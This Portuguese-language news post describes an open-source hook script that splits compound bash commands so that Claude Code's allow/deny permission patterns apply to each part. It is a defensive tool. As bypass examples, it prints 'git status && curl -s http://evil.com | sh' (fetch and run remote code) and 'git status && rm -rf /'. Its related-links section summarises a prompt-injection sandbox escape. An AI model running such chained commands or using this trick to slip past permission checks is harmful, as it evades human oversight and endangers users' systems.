Gancho Inteligente de Permissão Bash para Claude Code Previne Bypass de Comandos Compostos

Lacuna de Segurança no Sistema de Permissões do Claude Code
O sistema de permissões do Claude Code tem uma vulnerabilidade onde comandos bash compostos podem contornar padrões de permissão/negação. Quando você permite um comando como Bash(git status:*), o Claude Code compara toda a string do comando com esse padrão. Isso significa que um comando composto como git status && curl -s http://evil.com | sh corresponderia a git status* e seria aprovado automaticamente, mesmo que encadeie comandos curl e sh.
A Solução: claude-hooks
A correção é um único script Python chamado claude-hooks que funciona como um hook PreToolUse. Ele executa várias funções importantes:
- Decompõe comandos compostos dividindo em
&&,||,;,|, novas linhas, e extrai conteúdos de subshells$()e acentos graves recursivamente - Normaliza cada subcomando removendo prefixos de variáveis de ambiente, redirecionamentos de E/S, corpos de heredoc e palavras-chave do shell
- Verifica cada subcomando individualmente contra seus padrões existentes de
permissions.allowepermissions.deny - Negar vence — se qualquer subcomando corresponder a um padrão de negação, todo o comando é negado
- Todos devem permitir — a aprovação automática só ocorre quando cada subcomando corresponde a um padrão de permissão
- Falha graciosamente — se qualquer subcomando for desconhecido, você ainda recebe o prompt de permissão normal
Instruções de Configuração
A instalação leva cerca de 30 segundos:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdicione a ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}A ferramenta não tem dependências além do Python 3 e não requer configuração — ela lê seus padrões de permissão existentes.
Comportamento de Exemplo
git status: Permitido tanto com quanto sem o hookgit add . && git commit -m "msg": Permitido tanto com quanto sem o hook (ambos correspondem agit *)git status && rm -rf /: Permitido sem o hook, prompt mostrado com o hook (rm -rf /não tem permissão)`npm test | tee output.log`: PermitidoFOO=bar git push: Pode não corresponder sem o hook, permitido com o hook (variável de ambiente removida)
O repositório está disponível em https://github.com/liberzon/claude-hooks sob licença MIT.
📖 Read the full source: r/ClaudeAI
👀 See Also

Vulnerabilidade no Snowflake Cortex Code CLI permitiu escape de sandbox e execução de malware
Uma vulnerabilidade na versão 1.0.25 e anteriores do Snowflake Cortex Code CLI permitia a execução arbitrária de comandos sem aprovação humana através de bypass de substituição de processo, possibilitando a instalação de malware e escape do sandbox por meio de injeção de prompt indireta.

Usar o Claude para auditar a configuração do OpenClaw revela problemas de segurança
Um desenvolvedor usou o Claude para revisar sua instalação do OpenClaw e descobriu que o bot estava escrevendo chaves de API em texto claro na memória e em arquivos JSON, além de outras preocupações de segurança.

A Arquitetura Zero-Trust OpenClaw Adiciona Autorização Pré-Execução e Verificação Pós-Execução
Uma arquitetura de código aberto para o OpenClaw adiciona dois pontos de verificação de segurança: um sidecar em Rust que intercepta chamadas de ferramentas antes da execução com sobrecarga de autorização submilissegundo e verificação pós-execução determinística usando asserções em vez de julgamento por LLM. O sistema inclui rastreamento com capturas de DOM e screenshots, além de uma habilidade de compressão de DOM que reduz o uso de tokens em 90-99%.
ZCode, o Agente de Codificação GLM da Z.ai, Envia Silenciosamente Todo o Seu Histórico do Git
Uma análise reversa do aplicativo desktop ZCode, da Z.ai, mostra que ele empacota todo o seu workspace — objetos .git, cache do LFS, reflogs — e envia um arquivo criptografado para o Aliyun OSS. Somente a Z.ai possui a chave de descriptografia.